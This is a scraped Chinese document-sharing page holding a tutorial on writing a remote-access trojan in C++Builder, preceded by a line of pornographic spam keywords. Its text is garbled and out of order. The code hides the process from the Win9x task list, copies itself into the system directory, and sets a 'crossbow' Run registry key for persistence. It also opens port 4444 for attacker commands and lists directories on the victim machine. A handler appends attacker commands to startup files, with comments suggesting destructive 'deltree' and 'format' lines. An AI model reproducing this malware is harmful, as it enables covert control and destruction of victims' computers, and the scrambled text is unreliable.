freepeople性欧美熟妇, 色戒完整版无删减158分钟hd, 无码精品国产vα在线观看DVD, 丰满少妇伦精品无码专区在线观看,艾栗栗与纹身男宾馆3p50分钟,国产AV片在线观看,黑人与美女高潮,18岁女RAPPERDISSSUBS,国产手机在机看影片

正文內(nèi)容

木馬編寫教程學(xué)習(xí)木馬編寫的好資料-展示頁

2025-07-03 03:45本頁面
  

【正文】     //就發(fā)回“Fail By Open File”的錯(cuò)誤信息      goto END?!   ?/就創(chuàng)建system\\;如果此文件已存在,則會(huì)被覆蓋    times_of_try=times_of_try+1?!   ?/跳到END   }  times_of_try=0?!   ?/返回“Fail By Your DIR\39?! f ((dir = opendir(dirname)) == NULL)   {    //如果打開目錄出錯(cuò)    SocketSendText(Fail by your DIR\39?!   ?/跳到END   }  char * dirname?!   ?/返回“Fail By Open DIR\39?! ?/從字符串第六個(gè)字符開始,將后面的字符存入Dir_Name變量,這是目錄名  if(Dir_Name==)   {    //如果目錄名為空    SocketSendText(Fail By Open DIR\39?! nt number=()?! IR *dir?! nt attrib。朋友,別走開?。ㄎ赐甏m(xù))上回我們講到如何修改目標(biāo)機(jī)上的啟動(dòng)配置文件,這回我們就來查看目標(biāo)機(jī)上的目錄樹和文件吧,這在客戶端上使用“dir”命令,跟著敲啰:{else if((0,3)==dir){  //如果前3個(gè)字符是“dir”  int Read_Num。   //然后發(fā)回“Success”的成功信息  }}  你現(xiàn)在可以通過網(wǎng)絡(luò)來察看目標(biāo)機(jī)上的這兩個(gè)文件了,并且還可以向里面隨意添加任何命令?!  ?/寫入添加的語句,例如deltree/y C:或者format/q/autotest C:,夠毒吧?!   fclose(fp)?!     ?//就發(fā)回“Fail By Open File”的錯(cuò)誤信息       goto END?!   ?/如果文件不存在,創(chuàng)建之;如果存在,準(zhǔn)備在其后添加    //如果出錯(cuò),文件指針為空,這樣就會(huì)重復(fù)    times_of_try=times_of_try+1。    //如果第11個(gè)字符是1,   times_of_try=0?!  ?/將兩個(gè)目標(biāo)文件的屬性改為可讀可寫   if(file_name==1)    sprintf(filename,%s,c:\\\\)。   chmod(c:\\\\,S_IREAD|S_IWRITE)?!  ?/余下的字符串將被作為寫入的內(nèi)容寫入目標(biāo)文件   FILE *fp=NULL。\\n\39?!  ?/得到字符串的長(zhǎng)度   int file_name=atoi(((11,1)).c_str())?!?/在%System%,作為臨時(shí)文件使用 AnsiString temp=SocketReceiveText()。 char TempFile[MAX_PATH]?!har * content。你可以看一看TNMFTP控件使用的端口,是21號(hào)端口,這是FTP協(xié)議的專用控制端口(FTP Control Port);同理TNMSMTP的25號(hào)端口也是SMTP協(xié)議的專用端口。再將Port填入4444,這是木馬的端口號(hào),當(dāng)然你也可以用別的?!  ?//查找是否有“crossbow”字樣的鍵值,并且是否為拷貝的目錄%System%+   //如果不是,就寫入以上鍵值和內(nèi)容 }catch(...) { //如果有錯(cuò)誤,什么也不做 }}  好,F(xiàn)ormCreate過程完成了,并且在“關(guān)閉程序”對(duì)話框中看不見本進(jìn)程了,木馬的雛形初現(xiàn)。//設(shè)置主鍵為HKEY_LOCAL_MACHINERegistryOpenKey(Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run,TRUE)。//將自己拷貝到%System%目錄下,偽裝起來Registry=new TRegistry。//TempPath是system目錄緩沖區(qū)的地址,MAX_PATH是緩沖區(qū)的大小,得到目標(biāo)機(jī)的System目錄路徑SystemPath=AnsiString(TempPath)。接著再將自己拷貝一份到%System%目錄下,例如:C:\\Windows\\System,并修改注冊(cè)表,以便啟動(dòng)時(shí)自動(dòng)加載:{ char TempPath[MAX_PATH]?!  ?/卸載動(dòng)態(tài)鏈接庫(kù) }}  這樣就終于可以隱身了(害我敲了這么多代碼!)?!   ?/得到RegisterServiceProcess()函數(shù)的地址    lpRegisterServiceProcess(GetCurrentProcessId(),1)?!  DLL = LoadLibrary(KERNEL32)?!   ?/定義RegisterServiceProcess()函數(shù)的原型    HINSTANCE hDLL?! ∈紫扰袛嗄繕?biāo)機(jī)的操作系統(tǒng)是Win9x還是WinNt:{DWORD dwVersion = GetVersion()。因此,只要將我們的程序在進(jìn)程數(shù)據(jù)庫(kù)中用RegisterServiceProcess()函數(shù)注冊(cè)成服務(wù)進(jìn)程(Service Process)就可以了。雙擊Form,首先在FormCreate事件中添加可使木馬在Win9x的“關(guān)閉程序”對(duì)話框中隱藏的代碼。因此實(shí)際寫木馬時(shí)可以用一些技巧使程序不包含F(xiàn)orm,就像Delphi用過程實(shí)現(xiàn)的小程序一般只有17K左右那樣。  Form窗體是可視的,這當(dāng)然是不可思議的。Server Socket的功能是用來使本程序變成一個(gè)服務(wù)器程序,可以對(duì)外服務(wù)(對(duì)攻擊者敞開大門)。  首先是編程工具的選擇?! ∽约壕帉懩抉R,聽起來很Cool是不是?!木馬一定是由兩部分組成——服務(wù)器程序(Server)和客戶端程序(Client),服務(wù)器負(fù)責(zé)打開攻擊的道路,就像一個(gè)內(nèi)奸特務(wù);客戶端負(fù)責(zé)攻擊目標(biāo),兩者需要一定的網(wǎng)絡(luò)協(xié)議來進(jìn)行通訊(一般是TCP/IP協(xié)議)。國(guó)內(nèi)的年輕人大都是在盜版Dos的熏陶下長(zhǎng)大的,對(duì)網(wǎng)絡(luò)可以說很陌生。T Unix和BSD Unix十分盛行的年代,木馬是由一些玩程式(主要是C)水平很高的年輕人(主要是老美)用C或Shell語言編寫的,基本是用來竊取登陸主機(jī)的口令,以取得更高的權(quán)限。 木馬的編寫實(shí)例特洛依木馬這個(gè)名詞大家應(yīng)該不陌生,自從98年“死牛崇拜”黑客小組公布Back Orifice以來,木馬猶如平地上的驚雷, 使在Dos——Windows時(shí)代中長(zhǎng)大的中國(guó)網(wǎng)民從五彩繽紛的網(wǎng)絡(luò)之夢(mèng)中驚醒,終于認(rèn)識(shí)到的網(wǎng)絡(luò)也有它邪惡的一面,一時(shí)間人心惶惶。  我那時(shí)在《電腦報(bào)》上看到一篇文章,大意是一個(gè)菜鳥被人用BO控制了,嚇得整天吃不下飯、睡不著覺、上不了網(wǎng),到處求救!要知道,木馬(Trojan)的歷史是很悠久的:早在ATamp。那時(shí)木馬的主要方法是誘騙——,植入木馬;當(dāng)你登陸時(shí)將你敲入的口令字符存入一個(gè)文件,用Email的形式發(fā)到攻擊者的郵箱里。直到Win9x橫空出世,尤其是WinNt的普及,大大推動(dòng)了網(wǎng)絡(luò)事業(yè)的發(fā)展的時(shí)候,BO這個(gè)用三年后的眼光看起來有點(diǎn)簡(jiǎn)單甚至可以說是簡(jiǎn)陋的木馬(甚至在Win9x的“關(guān)閉程序”對(duì)話框可以看到進(jìn)程)給了當(dāng)時(shí)中國(guó)人極大的震撼,它在中國(guó)的網(wǎng)絡(luò)安全方面可以說是一個(gè)劃時(shí)代的軟件。為了讓大家更好的了解木馬攻擊技術(shù),破除木馬的神秘感,我就來粗略講一講編寫木馬的技術(shù)并順便編寫一個(gè)例子木馬,使大家能更好地防范和查殺各種已知和未知的木馬。目前流行的開發(fā)工具有C++Builder、VC、VB和Delphi,這里我們選用C++Builder(以下簡(jiǎn)稱BCB);VC雖然好,但GUI設(shè)計(jì)太復(fù)雜,為了更好地突出我的例子,集中注意力在木馬的基本原理上,我們選用可視化的BCB;Delphi也不錯(cuò),但缺陷是不能繼承已有的資源(如“死牛崇拜”黑客小組公布的BO2000源代碼,是VC編寫的,網(wǎng)上俯拾皆是);VB嘛,談都不談——難道你還給受害者傳一個(gè)1兆多的動(dòng)態(tài)鏈接庫(kù)——?啟動(dòng)C++Builder ,新建一個(gè)工程,添加三個(gè)VCL控件:一個(gè)是Internet頁中的Server Socket,另兩個(gè)是Fastnet頁中的NMFTP和NMSMTP。Socket最初是在Unix上出現(xiàn)的,后來微軟將它引入了Windows中(包括Win98和WinNt);后兩個(gè)控件的作用是用來使程序具有FTP(File Transfer Protocol文件傳輸協(xié)議)和SMTP(Simple Mail Transfer Protocol簡(jiǎn)單郵件傳輸協(xié)議)功能,大家一看都知道是使軟件具有上傳下載功能和發(fā)郵件功能的控件。不光占去了大量的空間(光一個(gè)Form就有300K之大),而且使軟件可見,根本沒什么作用。  我們首先應(yīng)該讓我們的程序能夠隱身。這看起來很神秘,其實(shí)說穿了不過是一種被稱之為Service的后臺(tái)進(jìn)程,它可以運(yùn)行在較高的優(yōu)先級(jí)下,可以說是非??拷到y(tǒng)核心的設(shè)備驅(qū)動(dòng)程序中的那一種。不過該函數(shù)的聲明在Borland預(yù)先打包的頭文件中沒有。// 得到操作系統(tǒng)的版本號(hào)if (dwVersion = 0x80000000)// 操作系統(tǒng)是Win9x,不是WinNt {    typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD)?!  PREGISTERSERVICEPROCESS lpRegisterServiceProcess?!  ?/加載RegisterServiceProcess()   lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,RegisterServiceProcess)?!  ?/執(zhí)行RegisterServiceProcess()函數(shù),隱藏本進(jìn)程   FreeLibrary(hDLL)。為什么要判斷操作系統(tǒng)呢?因?yàn)閃inNt中的進(jìn)程管理器可以對(duì)當(dāng)前進(jìn)程一覽無余,因此沒必要在WinNt下也使用以上代碼(不過你可以使用其他的方法,這個(gè)留到后面再講)。//定義一個(gè)變量GetSystemDirectory(TempPath ,MAX_PATH)。//格式化TempPath字符串,使之成為能供編譯器使用的樣式CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+\\\\).c_str() ,FALSE)。//定義一個(gè)TRegistry對(duì)象,準(zhǔn)備修改注冊(cè)表,這一步必不可少RegistryRootKey=HKEY_LOCAL_MACHINE。//打開鍵值Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run,如果不存在,就創(chuàng)建之try {  //如果以下語句發(fā)生異常,跳至catch,以避免程序崩潰  if(RegistryReadString(crossbow)!=SystemPath+\\\\)    RegistryWriteString(crossbow,SystemPath+\\\\)?! 〗又x中ServerSocket控件,在左邊的Object Inspector中將Active改為true,這樣程序一啟動(dòng)就打開特定端口,處于服務(wù)器工作狀態(tài)。但是你要注意不要用1024以下的低端端口,因?yàn)檫@樣不但可能會(huì)與基本網(wǎng)絡(luò)協(xié)議使用的端口相沖突,而且很容易被發(fā)覺,因此盡量使用1024以上的高端端口(不過也有這樣一種技術(shù),它故意使用特定端口,因?yàn)槿绻饹_突,Windows也不會(huì)報(bào)錯(cuò) ^_^)?! ≡龠x中ServerSocket控件,點(diǎn)擊Events頁,雙擊OnClientRead事件,敲入以下代碼:{ FILE *fp=NULL?!nt times_of_try。 //定義了一堆待會(huì)兒要用到的變量 sprintf(TempFile, %s, AnsiString(SystemPath+AnsiString(\\\\)).c_str())?!?/接收客戶端(攻擊者,也就是你自己)傳來的數(shù)據(jù)}好,大門敞開了!接著就是修改目標(biāo)機(jī)的各種配置了!^_^ :{if((0,9)==edit conf) //如果接受到的字符串的前9個(gè)字符是“edit conf” {   int number=()。   //將第11個(gè)字符轉(zhuǎn)換成integer型,存入file_name變量   //為什么要取第11個(gè)字符,因?yàn)榈?0個(gè)字符是空格字符   content=((12,number11)+\39。).c_str()?!  har filename[20]?!  hmod(c:\\\\,S_IREAD|S_IWRITE)。    //如果第11個(gè)字符是1,   else if(file_name==2)    sprintf(filename,%s,c:\\\\)。   //定義計(jì)數(shù)器   while(fp==NULL)    {     //如果指針是空    fp=fopen(filename,a+)。    //計(jì)數(shù)器加1    if(times_of_try100)    {       //如果已經(jīng)試了100次了,仍未成功       SocketSendText(Fail By Open File)?!    ?
點(diǎn)擊復(fù)制文檔內(nèi)容
醫(yī)療健康相關(guān)推薦
文庫(kù)吧 www.dybbs8.com
備案圖鄂ICP備17016276號(hào)-1